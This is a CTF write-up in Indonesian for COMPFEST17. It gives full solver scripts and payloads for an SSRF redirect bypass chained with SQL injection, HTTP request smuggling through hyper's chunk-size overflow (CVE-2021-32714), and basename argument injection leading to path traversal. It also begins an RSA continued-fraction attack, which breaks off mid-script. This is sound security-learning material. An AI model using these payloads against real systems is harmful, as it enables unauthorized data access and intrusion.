Category <a href="#Web-Exploitation"> Web Exploitation </a> * <a href="#46"> Dark side of asteroid </a> * <a href="#55"> (Not) Simple Web </a> * <a href="#43"> basssh </a> <a href="#Cryptography"> Cryptography </a> * <a href="#61"> Custom Parameter </a> <a href="#Reverse-Engineering"> Reverse Engineering </a> * <a href="#67"> Burhansweeper </a> <a href="#Blockchain"> Blockchain </a> * <a href="#69"> Phantom-Thieves </a> <a href="#Miscellanous"> Miscellanous </a> * <a href="#77"> Sanity Check </a> * <a href="#79"> ezzz jail [revenge] </a> <a href="#Forensics"> Forensics </a> * <a href="#70"> Meowrine Corp </a> * <a href="#65"> crash out </a> ## <a id=Web-Exploitation> Web Exploitation </a> ### <center><a id="46"> Dark side of asteroid </a></center> <center>100</center> <center>`Author: jay` something seems wrong??????</center> #### **Ringkasan** Solusinya adalah dengan memanfaatkan kerentanan SSRF pada fitur unggah foto profil untuk memaksa server mengakses *endpoint* internal (`/internal/admin/search`) yang hanya dapat diakses dari `localhost`. *Endpoint* internal ini memiliki kerentanan SQL Injection. Kita membuat *payload* SQLi khusus yang melewati *filter blacklist* untuk mengambil *flag* dari database, lalu menggunakan layanan pemendek URL untuk mengalihkan server ke *payload* kita. Hasilnya, *flag* akan ditampilkan di halaman profil sebagai pesan *error*. --- ### **Tahap 1: Analisis Kode Sumber (Reconnaissance)** Dengan menganalisis file `app.py`, kita dapat mengidentifikasi dua titik kelemahan utama: **1. Kerentanan SSRF di Halaman Profil (`/profile`)** Pada rute `/profile`, pengguna dapat mengunggah foto profil dengan memberikan sebuah URL. ```python @app.route('/profile', methods=['GET', 'POST']) def profile(): # ... if request.method == 'POST': photo_url = request.form['photo_url'] try: if is_private_url(photo_url): raise Exception("Direct access to internal host is forbidden.") resp = requests.get(photo_url, timeout=5) # ... ``` * **Masalah**: Aplikasi memeriksa apakah URL yang diberikan mengarah ke alamat IP pribadi menggunakan fungsi `is_private_url`. Namun, `requests.get()` secara *default* akan mengikuti pengalihan HTTP (redirect). Ini berarti kita dapat memberikan URL publik yang aman (misalnya, dari TinyURL) yang kemudian mengalihkan permintaan server ke alamat internal seperti `http://127.0.0.1:5000`. Pemeriksaan keamanan hanya dilakukan pada URL awal, bukan pada tujuan akhir setelah pengalihan. * **Pintu Masuk**: Kita bisa memaksa server untuk membuat permintaan HTTP ke *endpoint* manapun di jaringan internalnya. **2. Kerentanan SQL Injection di Endpoint Internal (`/internal/admin/search`)** Aplikasi memiliki *endpoint* rahasia yang hanya bisa diakses dari `localhost`. ```python @app.route('/internal/admin/search') def internal_admin_search(): if request.remote_addr != '127.0.0.1': return "Access denied", 403 # ... search = filter_sqli(search_raw) query = f"SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '{search}' AND access_level <= 2" rows = conn.execute(query).fetchall() # ... ``` * **Masalah**: *Query* SQL dibuat menggunakan f-string, yang menyisipkan input pengguna (`search`) langsung ke dalam string *query*. Ini adalah celah SQL Injection yang sangat jelas. * **Tantangan**: Terdapat fungsi `filter_sqli` yang memblokir banyak kata kunci SQL umum seperti `union`, `select`, `or`, spasi (` `), `=`, dan lainnya. Selain itu, *filter* ini juga mengharuskan *payload* kita mengandung kata kunci `access_level`. ```python def filter_sqli(search_raw: str) -> str: blacklist = [ 'union', 'select', 'from', 'where', 'insert', 'delete', 'update', 'drop', 'or',' ', 'table', 'database', 'schema', 'group', 'order', 'by', ';', '=', '<', '>','||','\t' ] # ... (code to check blacklist) if 'access_level' not in search_lower: abort(403, description="SQL injection attempt detected: Invalid payload structure") return search_lower ``` Dari `init_db.py`, kita tahu bahwa *flag* disimpan di tabel `admin_secrets` dengan `access_level = 3`. Namun, *query* aslinya hanya mengambil data dengan `access_level <= 2`. Tujuan kita adalah memanipulasi *query* ini untuk mengambil data dengan `access_level = 3`. --- ### **Tahap 2: Rencana Eksploitasi** 1. **Buat Payload SQLi**: Kita akan merancang *payload* SQLi yang dapat melewati *filter* dan mengubah logika *query* untuk mengambil *flag*. 2. **Bypass SSRF Protection**: Kita akan menggunakan layanan pemendek URL (seperti TinyURL) untuk membuat URL publik yang mengarah ke *endpoint* SQLi internal. 3. **Eksekusi Serangan**: Kita akan memasukkan URL pendek tersebut ke fitur unggah foto profil. Server akan mengikuti pengalihan, menjalankan *payload* SQLi, dan hasilnya akan ditampilkan kembali kepada kita di halaman profil. --- ### **Tahap 3: Langkah-langkah Eksploitasi Rinci** #### **Langkah 1: Membuat Payload SQL Injection** Tujuan kita adalah mengubah *query* ini: `... WHERE secret_name LIKE '{payload}' AND access_level <= 2` Menjadi sesuatu yang mengembalikan baris dengan `access_level = 3`. * **Mengatasi Blacklist Spasi**: *Filter* memblokir spasi. Kita bisa menggunakan karakter baris baru (`\n`, atau `%0A` dalam URL) sebagai pengganti spasi, karena SQLite akan menafsirkannya sebagai spasi. * **Mengubah Logika Query**: 1. Tutup kutip `LIKE` dengan `%'`. 2. Tambahkan kondisi baru: `AND access_level LIKE '3'`. Kita menggunakan `LIKE` karena `=` diblokir. 3. Batalkan sisa *query* asli (`AND access_level <= 2`) dengan komentar SQL (`--`). * **Memenuhi Syarat Filter**: *Payload* kita harus mengandung string "access_level". Payload kita sudah memilikinya, tetapi untuk memastikannya, kita bisa menambahkannya di akhir komentar, seperti `--access_level`. Maka, *payload* akhir kita adalah: ```sql %' AND access_level LIKE '3'--access_level ``` Setelah di-URL-encode, *payload* ini akan dimasukkan ke dalam parameter `q`. URL internal yang akan kita targetkan adalah: `http://127.0.0.1:5000/internal/admin/search?q=%25%27%0Aand%0Aaccess_level%0Alike%0A%273%27--access_level` #### **Langkah 2: Membuat URL Pengalihan** Kita tidak bisa langsung memberikan URL `127.0.0.1` ke aplikasi. Jadi, kita gunakan layanan seperti TinyURL untuk membuat URL publik yang akan mengalihkan server ke URL internal di atas. Misalnya, kita masukkan URL internal kita ke TinyURL dan mendapatkan URL seperti `https://tinyurl.com/243jd7st`. #### **Langkah 3: Menjalankan Serangan dan Mendapatkan Flag** 1. Buka situs CTF, daftar akun baru, dan masuk. 2. Navigasi ke halaman **Profile**. 3. Di kolom "Photo URL", masukkan URL TinyURL yang telah dibuat: `https://tinyurl.com/243jd7st`. 4. Klik tombol "Upload". Server akan melakukan hal berikut: 1. Menerima URL `tinyurl.com`, yang lolos dari pemeriksaan `is_private_url`. 2. `requests.get()` meminta URL tersebut dan secara otomatis mengikuti pengalihan ke `http://127.0.0.1:5000/...` 3. Permintaan internal mengeksekusi *payload* SQLi kita. *Query* yang dieksekusi menjadi: `SELECT secret_name, secret_value FROM admin_secrets WHERE secret_name LIKE '%' AND access_level LIKE '3'--access_level' AND access_level <= 2` 4. *Query* ini berhasil mengambil rahasia dengan `access_level = 3`, yaitu *flag*. 5. *Endpoint* internal mengembalikan hasilnya sebagai `text/plain`. 6. Karena `Content-Type` bukan gambar, halaman profil akan menampilkan teks mentah dari respons tersebut di dalam kotak *error* `<pre>`. ```python import requests import re import random import string import urllib.parse import time def solve_ctf(base_url): """ Automates the process of solving the 'Dark side of asteroid' CTF challenge. """ s = requests.Session() # --- 1. Generate random credentials and register a new user --- username = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) password = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)) print(f"[+] Registering with random credentials: {username} / {password}") try: register_data = {'username': username, 'password': password} s.post(f"{base_url}/register", data=register_data, timeout=10) # --- 2. Log in with the new account --- login_data = {'username': username, 'password': password} login_res = s.post(f"{base_url}/login", data=login_data, allow_redirects=True, timeout=10) if login_res.status_code != 200 or "catalog" not in login_res.url: print("[-] Login failed. The server might be slow or credentials invalid.") return print("[+] Login successful.") # --- 3. Craft the SQLi payload and the internal URL --- # The payload uses newlines (%0A) to bypass space filtering. # It breaks out of the LIKE clause and changes the condition to fetch access_level 3. # The trailing '--access_level' comments out the rest of the query and satisfies the filter. sqli_payload = "%'\nand\naccess_level\nlike\n'3'--access_level" encoded_payload = urllib.parse.quote(sqli_payload) internal_url = f"http://127.0.0.1:5000/internal/admin/search?q={encoded_payload}" print(f"[+] Crafted internal URL for SSRF: {internal_url}") # --- 4. Use a public URL shortener to create a redirect --- # This bypasses the is_private_url() check. print("[*] Creating a public redirect URL using TinyURL...") tinyurl_api = "http://tinyurl.com/api-create.php" try: redirect_res = requests.get(tinyurl_api, params={'url': internal_url}, timeout=10) if redirect_res.status_code == 200 and redirect_res.text.startswith("http"): redirect_url = redirect_res.text print(f"[+] Public redirect URL created: {redirect_url}") else: print(f"[-] Failed to create redirect URL. Response: {redirect_res.text}") return except requests.RequestException as e: print(f"[-] Error creating redirect URL: {e}") return # Add a small delay to ensure the redirect is active time.sleep(2) # --- 5. Trigger the SSRF by submitting the redirect URL to the profile page --- print("[*] Triggering SSRF by updating profile picture...") profile_url = f"{base_url}/profile" ssrf_data = {'photo_url': redirect_url} profile_res = s.post(profile_url, data=ssrf_data, timeout=15) print("[+] SSRF payload sent successfully.") # --- 6. Parse the response to find the flag in the error preview --- print("[*] Searching for the flag in the profile page response...") # The flag is rendered inside a <pre> tag because the content-type is not an image. # We use regex to find the content of that tag. match = re.search(r"<pre[^>]*>(.*?)</pre>", profile_res.text, re.DOTALL) if not match: print("[-] Could not find the error preview (<pre> tag) on the profile page.") print("[-] The exploit might have failed. Full page content for debugging:") print(profile_res.text) return content = match.group(1).strip() print(f"\n[+] Found content from internal endpoint:\n---\n{content}\n---") flag_match = re.search(r"COMPFEST17\{[^\}]+\}", content) if flag_match: flag = flag_match.group(0) print(f"\n[SUCCESS] Flag found: {flag}") else: print("\n[-] Flag not found in the extracted content.") except requests.RequestException as e: print(f"\n[ERROR] An error occurred during the request: {e}") except Exception as e: print(f"\n[ERROR] An unexpected error occurred: {e}") # --- Execute the solver --- TARGET_URL = "http://ctf.compfest.id:7302" solve_ctf(TARGET_URL) ``` Hasil yang muncul di halaman profil akan terlihat seperti ini: ![Screenshot (568)](https://hackmd.io/_uploads/HyE3rb_Fgx.png) **Flag : COMPFEST17{you_lov3_ez_s5rf_and_s1mpl3_inject_r1gh7???}** --- ### <center><a id="55"> (Not) Simple Web </a></center> <center>100</center> <center>`Author: SeeStarz` "Yo bro look at my app." "It looks good and all but what is with you and all your custom apps?" "Nginx is bloated bruh, real men process their own HTTP headers." "Oh shut up. You still use hyper instead of your own in the backend dummy." "I uhhhh... don't know how to do it in rust." "Skill issue and that version is older than your mother." "Bro it's like 4 years ago, also updating is a conspiracy to keep developing from actually developing what's important." "Whatever man, I'm out.</center> --- Tantangan ini melibatkan arsitektur web dengan dua komponen: sebuah proksi kustom yang ditulis dengan Python sebagai *frontend*, dan sebuah server web Rust yang menggunakan *library* Hyper sebagai *backend*. Tujuannya adalah untuk mengakses file `/secret.html` di *backend* untuk mendapatkan flag, yang mana akses langsungnya diblokir oleh proksi. #### **Langkah 1: Analisis Awal dan Reconnaissance** Setelah memeriksa file-file yang disediakan, kita dapat memetakan arsitektur dan aturan mainnya: 1. **Proxy Server (`proxy/main.py`):** * Berfungsi sebagai *frontend* yang menerima koneksi dari luar. * Meneruskan permintaan ke *backend* di `server:28015`. * Melakukan beberapa validasi pada header HTTP. * Memiliki fungsi filter yang sangat penting, `_filter_route`: ```python def _filter_route(self, request): assert request[1].startswith("/") uri = request[1] if not (re.match(r"^/\w+\.\w+$", uri) or uri == "/"): self._reject(301, "Moved Permanently", "/reject.html") if "secret" in uri.lower(): # <- INI PENGHALANGNYA self._reject(307, "Temporary Redirect", "/reject.html") ``` * Filter ini secara eksplisit memblokir URI apa pun yang mengandung kata "secret", sehingga permintaan `GET /secret.html` akan selalu ditolak. 2. **Backend Server (`server/src/main.rs`):** * Dibangun menggunakan Rust dan *library* Hyper. * Menyajikan file statis dari direktori `/src/static`. * File `secret.html` di *backend* akan me-render flag yang diambil dari variabel lingkungan dan dienkode dengan Base64. * Petunjuk terbesar ada di `server/Cargo.toml`, yang secara spesifik mem-pin versi Hyper yang sudah tua: ```toml hyper = { version = "=0.14.9", features = ["full"] } ``` Tujuan kita jelas: kita harus mengirim permintaan `GET /secret.html` ke *backend* tanpa memicu filter di *frontend*. Ini adalah skenario klasik untuk serangan **HTTP Request Smuggling**. #### **Langkah 2: Identifikasi Kerentanan** Deskripsi tantangan yang menyebutkan "versi (Hyper) yang lebih tua dari ibumu" dan file `Cargo.toml` yang mem-pin `hyper v0.14.9` adalah petunjuk yang sangat kuat. Pencarian cepat untuk "hyper 0.14.9 vulnerability" mengarah ke: * **CVE-2021-32714 (GHSA-5h46-h7hh-c6x9):** Kerentanan *integer overflow* pada parser ukuran *chunk* di Hyper. Kerentanan ini terjadi ketika Hyper menerima ukuran *chunk* heksadesimal yang lebih besar dari 64-bit (misalnya, 17 digit hex). Karena *overflow*, Hyper hanya akan membaca 64-bit terbawah. Contoh: * Ukuran chunk: `f0000000000000003` (65-bit) * Proksi Python akan membacanya sebagai angka yang sangat besar. * *Backend* Hyper akan membacanya sebagai `3` (hanya 64-bit terbawah). Desinkronisasi dalam interpretasi batas permintaan inilah yang akan kita eksploitasi. #### **Langkah 3: Merancang Strategi Eksploitasi (TE-TE Desync)** Kita akan melakukan serangan *Transfer-Encoding: Transfer-Encoding* (TE-TE), di mana *frontend* dan *backend* sama-sama memahami `Transfer-Encoding: chunked`, tetapi menginterpretasikan isinya secara berbeda. Rencananya adalah sebagai berikut: 1. Kirim satu permintaan `POST` ke *frontend* yang akan lolos filter (misalnya, ke `/index.html`). 2. Gunakan `Transfer-Encoding: chunked` dan ukuran *chunk* yang memicu *overflow* di *backend*. 3. Susun *body* permintaan `POST` sedemikian rupa sehingga *backend* menganggap permintaan tersebut selesai lebih awal. 4. "Selundupkan" permintaan `GET /secret.html` sebagai sisa data di *buffer* koneksi, yang akan dibaca oleh *backend* sebagai permintaan kedua yang terpisah. #### **Langkah 4: Membangun Payload Final dan Debugging** Membangun payload yang benar memerlukan beberapa kali percobaan. Kesalahan umum (seperti yang terjadi selama proses *solving*) menghasilkan `500 Internal Server Error` dari proksi, yang menandakan bahwa koneksi ke *backend* terputus secara tak terduga. Payload final yang berhasil memiliki struktur yang sangat spesifik untuk memuaskan parser *backend* dan menghindari penutupan koneksi yang prematur: 1. **Header Permintaan Luar:** Sebuah `POST` standar dengan `Transfer-Encoding: chunked`. 2. **Body Penyebab Desync:** * `f0000000000000003\r\n`: Ukuran *chunk* pemicu *overflow*. Proksi mengharapkan *body* raksasa, *backend* hanya mengharapkan 3 byte. * `XYZ\r\n`: Tiga byte data *dummy* untuk memuaskan parser *backend* yang sedang menunggu 3 byte, diikuti `CRLF` yang wajib. * `0\r\n\r\n`: *Last-chunk*. Ini adalah bagian krusial yang memberi tahu *backend* bahwa *body* dari permintaan `POST` telah selesai secara sah. 3. **Permintaan yang Diselundupkan:** * `GET /secret.html ...`: Langsung mengikuti *last-chunk*. Karena *backend* baru saja menyelesaikan permintaan `POST`, ia akan memproses data ini sebagai permintaan baru. * **Penting:** Permintaan yang diselundupkan **tidak boleh** mengandung header `Connection: close`. Jika ada, *backend* akan menutup koneksi setelah merespons. Proksi, yang masih menunggu sisa data dari *body* raksasa, akan mendeteksi penutupan ini sebagai kesalahan dan mengembalikan `500 Internal Server Error`. #### **Langkah 5: Skrip Solver dan Eksekusi** Skrip Python berikut mengimplementasikan payload final: ```python #!/usr/bin/env python3 import socket import re import base64 HOST = "ctf.compfest.id" PORT = 7304 def create_payload(host, port): smuggled_request = ( f"GET /secret.html HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" # 'Connection: close' sengaja dihapus untuk menghindari 500 Error dari proxy f"\r\n" ).encode('ascii') body_for_desync = ( b"f0000000000000003\r\n" b"XYZ\r\n" b"0\r\n" b"\r\n" ) headers = ( f"POST /index.html HTTP/1.1\r\n" f"Host: {host}:{port}\r\n" f"Connection: keep-alive\r\n" f"Transfer-Encoding: chunked\r\n\r\n" ).encode('ascii') return headers + body_for_desync + smuggled_request def solve(): payload = create_payload(HOST, PORT) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) s.settimeout(5) s.sendall(payload) response_data = b"" while True: try: chunk = s.recv(4096) if not chunk: break response_data += chunk except socket.timeout: break response_str = response_data.decode('utf-8', errors='ignore') match = re.search(r'>([A-Za-z0-9+/=]{20,})<', response_str) if match: encoded_flag = match.group(1) # String yang didapat memiliki 'Ik' di awal dan 'Ig==' di akhir karena # render dari backend: `Body::from("...\"{{ FLAG }}\"...")` # Kita perlu membersihkannya. clean_encoded_flag = encoded_flag.replace("Ik", "").replace("Ig==", "") decoded_flag = base64.b64decode(clean_encoded_flag).decode('utf-8') print(f"[*] Flag Ditemukan: {decoded_flag}") else: print("[-] Flag tidak ditemukan.") if __name__ == "__main__": solve() ``` Saat dieksekusi, skrip berhasil menyelundupkan permintaan `GET /secret.html`. *Backend* merespons dengan konten halaman tersebut, yang mengandung flag dalam format Base64. Setelah decoding, kita mendapatkan flag-nya. ![Screenshot (565)](https://hackmd.io/_uploads/HkTNSbOtgg.png) **Flag : COMPFEST17{http_desync_is_fun_right_06021bdb8e}** --- ### <center><a id="43"> basssh </a></center> <center>464</center> <center>`Author: PapaChicken` A web made with bash. I guess it couldn't be worse than PHP, no?</center> ### **Analisis ** Setelah memeriksa file sumber yang diberikan, kita dapat memahami alur kerja aplikasi: 1. **`core.sh`**: Ini adalah file inti yang menangani permintaan HTTP, routing, dan pemrosesan. 2. **`pages/index.sh`**: Skrip ini menangani halaman utama (`/`). Halaman ini menampilkan daftar *challenge* (program Python) dan form untuk menjalankannya. 3. **`pages/exec.sh`**: Skrip ini dieksekusi ketika pengguna mengirimkan form untuk menjalankan salah satu program Python. Fokus utama kita adalah pada `pages/index.sh`, karena skrip inilah yang pertama kali memproses input dari pengguna melalui parameter URL. Di dalam `pages/index.sh`, kita menemukan baris kode yang menarik: ```bash file_target=$(basename -s .py $(urldecode "${QUERY_PARAMS['file']}")) ``` Kode ini melakukan hal berikut: 1. Mengambil nilai dari parameter `file` dari URL (`QUERY_PARAMS['file']`). 2. Melakukan URL decoding pada nilai tersebut menggunakan `urldecode`. 3. Hasil dari `urldecode` langsung dimasukkan ke dalam command substitution `$(...)` yang menjalankan perintah `basename`. Variabel `file_target` ini kemudian digunakan di baris lain untuk menampilkan deskripsi masalah: ```bash cat "problems/$file_target.txt" ``` Karena input dari parameter `file` tidak divalidasi atau disanitasi dengan benar sebelum dimasukkan ke dalam perintah `basename`, ini membuka celah untuk **Command Injection**, lebih tepatnya **Parameter Injection**. Kita dapat menyuntikkan argumen tambahan ke dalam perintah `basename`. --- ### **Menemukan Kerentanan (Proof of Concept)** Untuk membuktikan bahwa kerentanan ini ada, kita bisa mencoba menyuntikkan parameter `--help` ke dalam `basename`. Parameter ini akan membuat `basename` menampilkan halaman panduan penggunaannya. **Payload:** ``` ?file=--help ``` **URL:** ``` http://ctf.compfest.id:7301/?file=--help ``` ![image](https://hackmd.io/_uploads/S1hf8GuKex.png) Server merespons dengan menampilkan halaman bantuan untuk perintah `basename`, yang membuktikan bahwa kita berhasil mengontrol argumen yang diterima oleh perintah tersebut. --- ### **Eksploitasi** Tujuan kita adalah membaca `/flag.txt`. Kita tahu bahwa variabel `file_target` yang kita kontrol disisipkan ke dalam perintah `cat "problems/$file_target.txt"`. Jika kita bisa mengubah nilai `$file_target` menjadi `../../flag`, maka perintah yang akan dieksekusi adalah: ```bash cat "problems/../../flag.txt" ``` Perintah di atas akan secara efektif membaca file `/flag.txt` karena `problems/../` akan menavigasi satu direktori ke atas dari direktori `problems`, yaitu ke direktori `/app`, dan `../` lagi akan membawa kita ke direktori root (`/`). Tantangannya adalah `basename` secara default akan menghapus semua awalan direktori (seperti `../`). Misalnya, `basename ../../flag` hanya akan menghasilkan `flag`. Untuk mengakali ini, kita perlu menggunakan kombinasi flag dari `basename` itu sendiri: * `-a` atau `--multiple`: Memungkinkan `basename` untuk memproses beberapa argumen. * `-z` atau `--zero`: Mengakhiri setiap baris output dengan karakter NUL (null byte), bukan karakter baris baru (newline). Ketika kita hanya menggunakan `-a`, shell akan memisahkan output berdasarkan spasi atau baris baru, yang tidak sesuai dengan keinginan kita. Namun, dengan menggabungkan `-a` dan `-z`, kita dapat memaksa output dari `basename` untuk digabungkan menjadi satu string tunggal yang berisi payload path traversal kita. Karakter null byte yang dihasilkan oleh `-z` tidak diinterpretasikan sebagai pemisah oleh command substitution `$(...)`, sehingga seluruh output digabungkan. **Payload Akhir:** Payload yang kita gunakan adalah `-z -a ../../flag`. Kita perlu melakukan URL encode pada spasi. ``` ?file=-z%20-a%20..%20/%20..%20/%20flag ``` **URL Eksploitasi:** ``` http://ctf.compfest.id:7301/?file=-z%20-a%20..%20/%20..%20/%20flag ``` ![image](https://hackmd.io/_uploads/ry-orz_Kel.png) Ketika server memproses permintaan ini: 1. `urldecode` mengubahnya menjadi: `-z -a ../../flag`. 2. Perintah yang dieksekusi menjadi: `file_target=$(basename -s .py -z -a ../../flag)`. 3. `basename` memproses argumen `..`, `/`, `..`, `/`, `flag` dan menghasilkan `../../flag`. 4. Variabel `file_target` sekarang berisi `../../flag`. 5. Perintah `cat` menjadi `cat "problems/../../flag.txt"`. 6. Isi dari `/flag.txt` dibaca dan ditampilkan di halaman web. **Flag : COMPFEST17{bashstack_by_cgsdev0_723ac4eec0}** --- ## <a id=Cryptography> Cryptography </a> ### <center><a id="61"> Custom Parameter </a></center> <center>100</center> <center>`Author: Karev` This time I allow you to customize a parameter, but I made sure it is safe. <br /> Note:<br /> In case the main remote is slow, you can try connecting to `nc ctf.compfest.id 6102`</center> --- ### Analisis Kode Sumber (`chall.py`) Mari kita bedah bagian-bagian penting dari kode yang diberikan: 1. **Pembuatan `p` dan `q`**: ```python while True: p = getPrime(2048) q = getPrime(2048) if (p < q < 2*p) or (q< p < 2*q): break N = p * q ``` Bagian ini cukup standar. Dua bilangan prima besar `p` dan `q` dibuat untuk membentuk modulus `N`. Kondisi `p < q < 2*p` memastikan bahwa `p` dan `q` memiliki panjang bit yang sama dan tidak terlalu jauh satu sama lain. 2. **Perhitungan `phi` yang Tidak Standar**: ```python phi = (p**2-1) * (q**2-1) ``` Ini adalah **kerentanan pertama dan paling penting**. Dalam RSA standar, kita menggunakan Euler's Totient Function, `phi = (p-1)*(q-1)`. Implementasi ini menggunakan fungsi yang sama sekali berbeda. Mari kita jabarkan ekspresi ini: `phi = (p^2 - 1)(q^2 - 1)` `phi = p^2q^2 - p^2 - q^2 + 1` `phi = (pq)^2 - (p^2 + q^2) + 1` `phi = N^2 - (p^2 + q^2) + 1` Kita tahu bahwa `(p+q)^2 = p^2 + 2pq + q^2 = p^2 + 2N + q^2`. Maka, `p^2 + q^2 = (p+q)^2 - 2N`. Substitusikan ini kembali ke persamaan `phi`: `phi = N^2 - ((p+q)^2 - 2N) + 1` `phi = N^2 + 2N + 1 - (p+q)^2` `phi = (N+1)^2 - (p+q)^2` Ini adalah penemuan kunci! `phi` memiliki hubungan yang sangat dekat dengan `N`. Nilainya sedikit lebih kecil dari `(N+1)^2`. 3. **Pemilihan `d` yang Rentan**: ```python bound = int(input("Enter bound: ")) if bound < 2**1000: # ... while True: d = randint(phi-bound,phi-1) if gcd(d,phi) == 1: break e = pow(d,-1,phi) ``` Ini adalah **kerentanan kedua**. *Private exponent* `d` dipilih dalam rentang `[phi - bound, phi - 1]`. Karena kita harus memasukkan `bound` yang besar, ini berarti `phi - d` adalah angka yang relatif kecil. Dengan kata lain, `d` sangat dekat dengan `phi`. Ini adalah kondisi klasik untuk serangan berbasis *continued fractions*. ### Merancang Serangan Kita memiliki hubungan `e * d ≡ 1 (mod phi)`, yang berarti `e * d = z * phi + 1` untuk suatu bilangan bulat `z`. Jika kita bagi dengan `d * phi`, kita mendapatkan: `e/phi = z/d + 1/(d*phi)` Karena `d` sangat dekat dengan `phi`, suku `1/(d*phi)` akan menjadi sangat kecil. Ini berarti `z/d` adalah aproksimasi yang sangat baik untuk `e/phi`. Aproksimasi rasional seperti ini dapat ditemukan dengan efisien menggunakan **pecahan berkelanjutan (continued fractions)**. Masalahnya, kita tidak tahu `phi`. Namun, dari analisis kita sebelumnya, kita tahu bahwa `phi = (N+1)^2 - (p+q)^2`. Karena `p` dan `q` adalah bilangan 2048-bit, `p+q` adalah sekitar 2049-bit. `N` adalah 4096-bit, jadi `(N+1)^2` adalah sekitar 8192-bit. Perbedaan antara `phi` dan `(N+1)^2` relatif kecil, sehingga kita dapat menggunakan `(N+1)^2` sebagai aproksimasi untuk `phi`. **Rencana serangan kita adalah sebagai berikut:** 1. Hitung aproksimasi `phi_approx = (N+1)^2`. 2. Hitung konvergen dari pecahan berkelanjutan `e / phi_approx`. Setiap konvergen `z'/k` akan menjadi kandidat untuk `z/d` (atau `z/k` dari hubungan `e*k-z*phi=1`). 3. Untuk setiap konvergen `z'/k`, kita dapat menghitung kandidat untuk `phi`. Dari `e*k ≡ 1 (mod phi)`, kita dapatkan `phi_candidate = (e*k + 1) // z'`. 4. Gunakan hubungan `phi = (N+1)^2 - (p+q)^2` untuk memverifikasi `phi_candidate`. Hitung `s_squared = (N+1)^2 - phi_candidate`. 5. Jika `s_squared` adalah bilangan kuadrat sempurna, maka kita telah menemukan `s = sqrt(s_squared) = p+q`. 6. Dengan `s = p+q` dan `N = p*q`, kita dapat menemukan `p` dan `q` dengan menyelesaikan persamaan kuadrat `x^2 - s*x + N = 0`. 7. Setelah `p` dan `q` ditemukan, kita dapat menghitung `d_rsa = pow(e, -1, (p-1)*(q-1))` dan mendekripsi *ciphertext* untuk mendapatkan flag. ### Langkah-langkah Eksploitasi 1. **Interaksi dengan Server**: Hubungkan ke server menggunakan `nc ctf.compfest.id 6102`. Server akan memberikan nilai `N`. Saat diminta `Enter bound:`, berikan angka yang lebih besar dari `2**1000`, misalnya `2**1024`. Server kemudian akan memberikan `e` dan `ct`. * **N**: `47082127...` (seperti yang diberikan) * **e**: `46503297...` (diterima dari server) * **ct**: `34273693...` (diterima dari server) 2. **Menjalankan Skrip Eksploitasi**: Skrip Python berikut mengimplementasikan serangan yang telah dirancang. ```python from Crypto.Util.number import long_to_bytes import math def is_perfect_square(n): if n < 0: return False, -1 if n == 0: return True, 0 x = int(math.isqrt(n)) return x * x == n, x def continued_fraction_convergents(e, n): """Calculates convergents of the continued fraction of e/n.""" numerators = [0, 1] denominators = [1, 0] while n != 0: q = e // n e, n = n, e % n num = q * numerators[-1] + numerators[-2] den = q * denominators[-1] + denominators[-2] numerators.append(num) denominators.append(den) if den != 0: yield num, den def solve(): N = 470821275378622766548406379880529338794133174017836532359465458842978250288195496903737701018708389607395926375764495252249524485721437206404657505602717378797817059129927994291010298775333960960876331865795702359353831193716780067883300014190263790025656721006673204126318211358981452766387958540313021833728316544474893933784196613668703923064766651230224226496804133943877925823744475642539182849933566549964770222695043872255922447331084014029344599753753361668309455452067364379269019829348877019838735059468874460522720311085526106704975874603665929577025357560706903511965464535476645174322959762616754604627904308846711938521349780719072773252038983564577438501868355236878427975188804280994378882026421063060618381591385956922699468962959521664767912845594578854634478177774772051373086589060227920429085066056508712087913638889142464231364020024754983891066797958200151403199524417399961022309888397869311009009407540441815215282977799623237820542957224499202135491963349145330438107763851239887862854419169209510943982151843142689050711455970069008450622752498876284862924908532787922322443618309807758926085987463348187730672230220945654333150921908087851781569539929841575242206000629124465147791865319440057341095950537 e = 46503297487180357343757105570813452795076304694976503081887377011867339444706074935603704812516214175513092704356399992243409277252664240679849401914503257018915637707095449082412946300921485156822645811295675679147092701633659199086451317525493811553292063390352594463692817931662246504631453116949182311382667999135191759269911179922095530879634155172997257496214723473427378660270786188659546838980474249797132781550872404438478170149750780472019777949575179801724042039250343429219650682409813601693509048933595357466881239935508858437378199174436339998122054371461947459946911463191501205877424535046028094220417390242319758211111222970338668155885418111339382243348035566323649647620585016405321682174416225667551392982805777035097701865693814161737939169897307870002464665744376795793751729488505260976241150773549148038695297804750321286010897407648147880637303868880658881087117714448346386326970125765101187287400950494922847070110341986068661766355206914063289487996175837509276791587723238684794805560934661153100742370391732576274676666720334030299276843612750897730969870104687348850566795055262967240353919478590472526751010321826966729545932583190902891216490022922744487781083612728485764077313902133504766954763662871417527115076879359098722638704780980624039864763736548424116694390430399717467593126059037521517943528901551151645438031587992769448850238972547968547640971424651175124868200017720162859138453286543622340699189061533947494648518312513765389135607290871513152066672896460959389959891848931215184368967251649069769752314561571649424383394669996916727259366693314328724145551355792002732100273122026043527361037429660726173583620722941837954997030610389339808279280751472614876398569993103599676266891822194996126260431366656785205847364900015619017274991946154416671369748831220395553346223325405414863927671296789178563764789202442727282537827446638697426075047093115596707307644965612579859894994419359916375242147432172498480268466682415483398100938270152519825064725544193150736825843584427608809255442787037127081664003876463841100013345926641531224934817489283570868573050971206790656179988347450727501996911918814237462665783763408236602583182213280414654179976359405941377695507502007227894676533888844904607375075340514688316062845930326263232188910743132241797985673425456155980277422628990229168889905463939450706301162078406435161132596737176702245771608323712614484307477853920106309348949020411832388369891261794339987 ct = 3427369317805736897255627018333832267873768015729723495126984803105200477027705128926116957886154921338177613048693453337925266755653314067845270495577715081491409948047408008383800288793765905296648739336596951222951424431966954600379583774195949337535228187177435647418706265069768277853770425410397522990264904132180620507828250402382035498076291790249642382885509241456268462501515504473398261006069580699332539216717199051907762305591173640613537687826023545333476510729246952459781668695290683460716724531853447503563477866930610131198403524540209553987601248262557262977716530903344473062013147737450180299887719670740075097909425571229738686494487611259343689511897813287395144082690013039471081976070665280506172903536620800296090588083573582140189352244446831071574602797060903384810144744469317293281110214877318942389279716157620215802837586096438473830340748033052680634330737413266963853793537163097330307837977273978315147876716111700038316156341854302826459554980483592993487536299234354458621599762199277283454357891211934196487860840466525882123781586577508291879096348029296532900264226039695388557018692791840191201297681906780988